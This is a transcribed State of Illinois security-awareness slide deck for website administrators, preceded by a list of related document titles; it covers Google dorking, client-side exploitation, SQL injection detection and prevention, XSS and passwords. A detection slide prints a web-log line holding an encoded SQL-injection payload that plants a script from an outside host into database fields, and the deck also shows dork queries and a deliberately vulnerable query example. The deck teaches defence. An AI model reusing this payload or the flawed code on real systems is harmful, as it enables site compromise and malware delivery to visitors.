Security Awareness For Website Administrators. State of Illinois Central Management Services Security and Compliance Solutions

Similar documents
Security Awareness For Server Administrators. State of Illinois Central Management Services Security and Compliance Solutions

Web Application Security

External Vulnerability Assessment. -Technical Summary- ABC ORGANIZATION

The Top Web Application Attacks: Are you vulnerable?

Cracking the Perimeter via Web Application Hacking. Zach Grace, CISSP, CEH January 17, Mega Conference

Where every interaction matters.

Attack and Penetration Testing 101

5 Simple Steps to Secure Database Development

ArcGIS Server Security Threats & Best Practices David Cordes Michael Young

Protecting Your Organisation from Targeted Cyber Intrusion

How to break in. Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering

Check list for web developers

Adobe ColdFusion. Secure Profile Web Application Penetration Test. July 31, Neohapsis 217 North Jefferson Street, Suite 200 Chicago, IL 60661

ETHICAL HACKING APPLICATIO WIRELESS110 00NETWORK APPLICATION MOBILE MOBILE0001

WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY

What s Wrong with Information Security Today? You are looking in the wrong places for the wrong things.

How We're Getting Creamed

Webapps Vulnerability Report

Application Security Testing. Generic Test Strategy

ASP.NET MVC Secure Coding 4-Day hands on Course. Course Syllabus

ABC LTD EXTERNAL WEBSITE AND INFRASTRUCTURE IT HEALTH CHECK (ITHC) / PENETRATION TEST

Magento Security and Vulnerabilities. Roman Stepanov

Penetration Testing: Lessons from the Field

Passing PCI Compliance How to Address the Application Security Mandates

EVALUATING COMMERCIAL WEB APPLICATION SECURITY. By Aaron Parke

FINAL DoIT v.4 PAYMENT CARD INDUSTRY DATA SECURITY STANDARDS APPLICATION DEVELOPMENT AND MAINTENANCE PROCEDURES

Security Threat Kill Chain What log data would you need to identify an APT and perform forensic analysis?

CYBERTRON NETWORK SOLUTIONS

(WAPT) Web Application Penetration Testing

3. Broken Account and Session Management. 4. Cross-Site Scripting (XSS) Flaws. Web browsers execute code sent from websites. Account Management

Web Application Hacking (Penetration Testing) 5-day Hands-On Course

FORBIDDEN - Ethical Hacking Workshop Duration

Web applications. Web security: web basics. HTTP requests. URLs. GET request. Myrto Arapinis School of Informatics University of Edinburgh

The purpose of this report is to educate our prospective clients about capabilities of Hackers Locked.

Data Breaches and Web Servers: The Giant Sucking Sound

OWASP AND APPLICATION SECURITY

Secure Web Application Coding Team Introductory Meeting December 1, :00 2:00PM Bits & Pieces Room, Sansom West Room 306 Agenda

Penetration Testing Report Client: Business Solutions June 15 th 2015

WHITE PAPER FORTIWEB WEB APPLICATION FIREWALL. Ensuring Compliance for PCI DSS 6.5 and 6.6

MatriXay WEB Application Vulnerability Scanner V Overview. (DAS- WEBScan ) The best WEB application assessment tool

Hack Proof Your Webapps

Loophole+ with Ethical Hacking and Penetration Testing

Cross-Site Scripting

Application Security Testing. Erez Metula (CISSP), Founder Application Security Expert

Certified Ethical Hacker Exam Version Comparison. Version Comparison

What about MongoDB? can req.body.input 0; var date = new Date(); do {curdate = new Date();} while(curdate-date<10000)

WHITE PAPER. FortiWeb and the OWASP Top 10 Mitigating the most dangerous application security threats

Ethical Hacking Penetrating Web 2.0 Security

Criteria for web application security check. Version

Web Application Security. Vulnerabilities, Weakness and Countermeasures. Massimo Cotelli CISSP. Secure

Ed Ferrara, MSIA, CISSP Fox School of Business

Testing Web Applications for SQL Injection Sam Shober

Web App Security Audit Services

Web Application Guidelines

Detecting and Exploiting XSS with Xenotix XSS Exploit Framework

Web application security

Web Application Security Considerations

Rational AppScan & Ounce Products

Internal Penetration Test

Columbia University Web Security Standards and Practices. Objective and Scope

OWASP Top Ten Tools and Tactics

Adobe Systems Incorporated

SQL Injection January 23, 2013

WHITE PAPER. FortiWeb Web Application Firewall Ensuring Compliance for PCI DSS 6.5 and 6.6

CTF Web Security Training. Engin Kirda

EC-Council CAST CENTER FOR ADVANCED SECURITY TRAINING. CAST 619 Advanced SQLi Attacks and Countermeasures. Make The Difference CAST.

SQL Injection. By Artem Kazanstev, ITSO and Alex Beutel, Student

Application Security Testing

Single Sign-On for the Internet: A Security Story. Eugene Tsyrklevich eugene@tsyrklevich.name Vlad Tsyrklevich vlad902@gmail.com

Architecture. The DMZ is a portion of a network that separates a purely internal network from an external network.

Nuclear Regulatory Commission Computer Security Office Computer Security Standard

Overview of Network Security The need for network security Desirable security properties Common vulnerabilities Security policy designs

Recon and Mapping Tools and Exploitation Tools in SamuraiWTF Report section Nick Robbins

Integrated Network Vulnerability Scanning & Penetration Testing SAINTcorporation.com

COURSE NAME: INFORMATION SECURITY INTERNSHIP PROGRAM

Web Application Security Assessment and Vulnerability Mitigation Tests

Creating Stronger, Safer, Web Facing Code. JPL IT Security Mary Rivera June 17, 2011

Auditing a Web Application. Brad Ruppert. SANS Technology Institute GWAS Presentation 1

SECURE APPLICATION DEVELOPMENT CODING POLICY OCIO TABLE OF CONTENTS

Understanding Web Application Security Issues

Client logo placeholder XXX REPORT. Page 1 of 37

Conducting Web Application Pentests. From Scoping to Report For Education Purposes Only

Application Security Vulnerabilities, Mitigation, and Consequences

Web Application Security

1. Introduction. 2. Web Application. 3. Components. 4. Common Vulnerabilities. 5. Improving security in Web applications

Sitefinity Security and Best Practices

Penetration Testing with Kali Linux

SQL Injection 2.0: Bigger, Badder, Faster and More Dangerous Than Ever. Dana Tamir, Product Marketing Manager, Imperva

WebCruiser Web Vulnerability Scanner User Guide

Complete Cross-site Scripting Walkthrough

Project 2: Web Security Pitfalls

Last update: February 23, 2004

CRYPTUS DIPLOMA IN IT SECURITY

Bank Hacking Live! Ofer Maor CTO, Hacktics Ltd. ATC-4, 12 Jun 2006, 4:30PM

ICTN Enterprise Database Security Issues and Solutions

Transcription:

Security Awareness For Website Administrators State of Illinois Central Management Services Security and Compliance Solutions

Common Myths Myths I m a small target My data is not important enough We ve never been hacked My firewall protects us My password is strong I m too busy 2

Layered Security Sample Attack Vectors Internal person Spear phishing Social engineering Botnets SQL injection 3

Operation Aurora Targeted Google, Adobe and 32 other companies Spear phishing originating from friends e-mail Array of zero-day exploits and encryption Illinois & Texas servers used for C&C Sought source-code, human rights activist s e-mail and more Google may pull out of China www.wired.com/threatlevel/2010/01/operation-aurora/ 4

Discovery Google hacking Password site:yoursite.com Filetype:doc site:yoursite.com classified Intitle:index.of parent directory site:yoursite.com Archive.org 5

Client-side Exploitation Example Step 0: Attacker Places Content on Trusted Site 6

Client-side Exploitation Example Step 1: Client-Side Exploitation 7

Client-side Exploitation Example Step 2: Establish Reverse Shell Backdoor Using HTTPS 8

Client-side Exploitation Example Step 3 & 4: Dump Hashes and Use Passthe-Hash Attack to Pivot 9

Client-side Exploitation Example Step 5: Pass the Hash to Compromise Domain Controller www.sans.org/top-cyber-security-risks/#summary 10

Data Breach Statistics Types of hacking used for Data Breaches Default Passwords SQL Injection Excessive Rights Stolen Passwords Auth Bypass Brute Force Number of breaches /Percent of records www.verizonbusiness.com/resources/security/reports/2009_databreach_rp.pdf 11

SQL Injection Occurs when an attacker is able to insert a series of SQL statements into a 'query' by manipulating data input into an application #2 attack vector on the web 11% of sites are vulnerable to SQL injection Demo : SQL injection 12

SQL Injection Prevention Never trust user input Validate user-supplied input for type, length, format and range (ex. username and password) Validate text input to ensure only allowed characters are present (regular expressions are preferred) Never use Dynamic SQL Use parameterized queries or stored procedures to access a database 13

SQL Injection Attacks 11% of dynamic websites are vulnerable to SQL injection Over 500,000 web servers compromised world wide (2008) Hidden I-Frame redirects: SQL injection used to silently re-direct web clients from trusted (but compromised) web sites to sites hosting malicious JavaScript. Installs key loggers & Trojan horse 14

SQL Injection Attacks - Detection Google "src=<script src=http://" site:yoursite.com OR yoursite2.org attacker.cn site:.com 15

SQL Injection Attacks - Detection Search web logs with BareGrep for DECLARE 2008-07-22 19:04:08 192.168.173.69 - <removed> <removed> 80 GET /directory/hax04.cfm SubjectID=18&RecNum=3980';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415 245204054207661726368617228323535292C40432076617263686172283430303029204445434C41524 5205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622 E6E616D652066926F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726 520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3 939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E7874797065 3D31363729204F50454E2054616269655F437572736F72204645544348204E4558542046524F4D20205 461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F53544154 55533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B4 0432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D2268 7474703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D2727207 76865726520272B40432B27206E6F74206C696B6520272725223E3C2F74697469653E3C73637269707 4207372633D22687474703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3 C212D2D272727294645694348204E4558542046524F4D20205461626C655F437572736F7220494E544 F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F434154452 05461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S); 200 0 33180 1549 390 HTTP/1.1 Search DB tables for src=<script src=http 16

SQL Injection Bad Example protected void search_click(object sender, System.EventArgs e) { string sqltext = "SELECT COURSE_ID," + "TITLE," + "COST," + "START_DATE," + "COMPANY," + "CITY," + "END_DATE" + " FROM COURSE_VIEW " ; string where = "" ; if (category.item.value!= "0") } {where = " CAT_ID = " + category.item.value; } if (city.text.length > 0) {string icity = city.text.replace("'", "''"); if (where.length > 3) where = where + " AND "; where = where + " CITY LIKE '%" + icity + "%' "; } if (where.length > 5 ) sqltext = sqltext + " WHERE " + where ; sqltext = sqltext + " ORDER BY TITLE " ; Highlited items on this page are fields from the form with little to no validation. 17

SQL Injection Good Example protected void search_click(object sender, System.EventArgs e) { string sqltext = "SELECT COURSE_ID," + "TITLE," + "COST," + "START_DATE," + "COMPANY," + "CITY," + "END_DATE" + " FROM COURSE_VIEW " ; string where = "" ; if (category.item.value!= "0") {//Validates an integer greater than zero if (Regex.IsMatch(category.Item.Value, @"^\d+$")){ where = " CAT_ID = " + category.item.value; } } if (city.text.length > 0) { //Validates any letter, integers and spaces up to 50 characters if (Regex.IsMatch(city.Text, @"^[a-za-z\d\s]{1,50}$")) { string icity = city.text.replace("'", "''"); if (where.length > 3) where = where + " AND "; where = where + " CITY LIKE '%" + icity + "%' ; } } if (where.length > 5 ) sqltext = sqltext + " WHERE " + where ; sqltext = sqltext + " ORDER BY TITLE " ;} Highlighted items are changes that were done to validate the field data prior to using it. 18

SQL Injection - Prevention Input validation string stringvalue = orderyeartb.text; Regex re = new Regex(@"\D"); Match m = re.match(sometextbox.text); if (m.success) { // This is NOT a number, do error processing. } else { int intvalue = int.parse(stringvalue); if ((intvalue < 1990) (intvalue > DateTime.Now.Year)) { // This is out of range, do error processing. } } 19

SQL Injection Example of a Dynamic SQL statement strsql = "select * from users where username = + username.text + and Password = + password.text + " Example of a parameterized query strsql = "select * from users where username = @Username and Password = @Password" 20

SQL Injection - Remediation Immediately disconnect the webpage Input validation Type, length and format White List Only allow required characters Black List Disallow bad characters Review logs Turn off debugging Use parameterized queries Apply least privilege access to web applications 21

Cross-Site Scripting Injecting code (such as javascript) into a web application output used for defacing sites, phishing and stealing session identifiers Video: Cross-site scripting Prevention Input validation 22

Passwords Password Cracking Identify weak or default passwords Verify the use of complex passwords Bad example: Autumn9 Good example: P@sword7Compl3xity Characters (complex) Estimated time to crack 7 6 minutes 8 2.34 hours 14 9 hours 15 209 days 23

Overall Protection **Penetration testing before deployment** Security baseline standards (NIST & SANS) Review trust levels Identify where data enters and leaves your application. Create a dataflow diagram. (Ensure validation occurs at every part of the HTTP request before letting it near your script, or SQL queries) Sanitize error messages 24

Overall Protection Use least amount of privileges necessary Remove non-required features Monitor and backup your DB and Web server Annual vulnerability assessment performed by Information Security Code review of existing applications 25

Conclusion Secure coding should be in every phase of the application life cycle Security is a journey not a destination 26

Security Awareness Material www.illinois.gov/bccs/services/catalog/security/ assessments/pages/awareness.aspx 27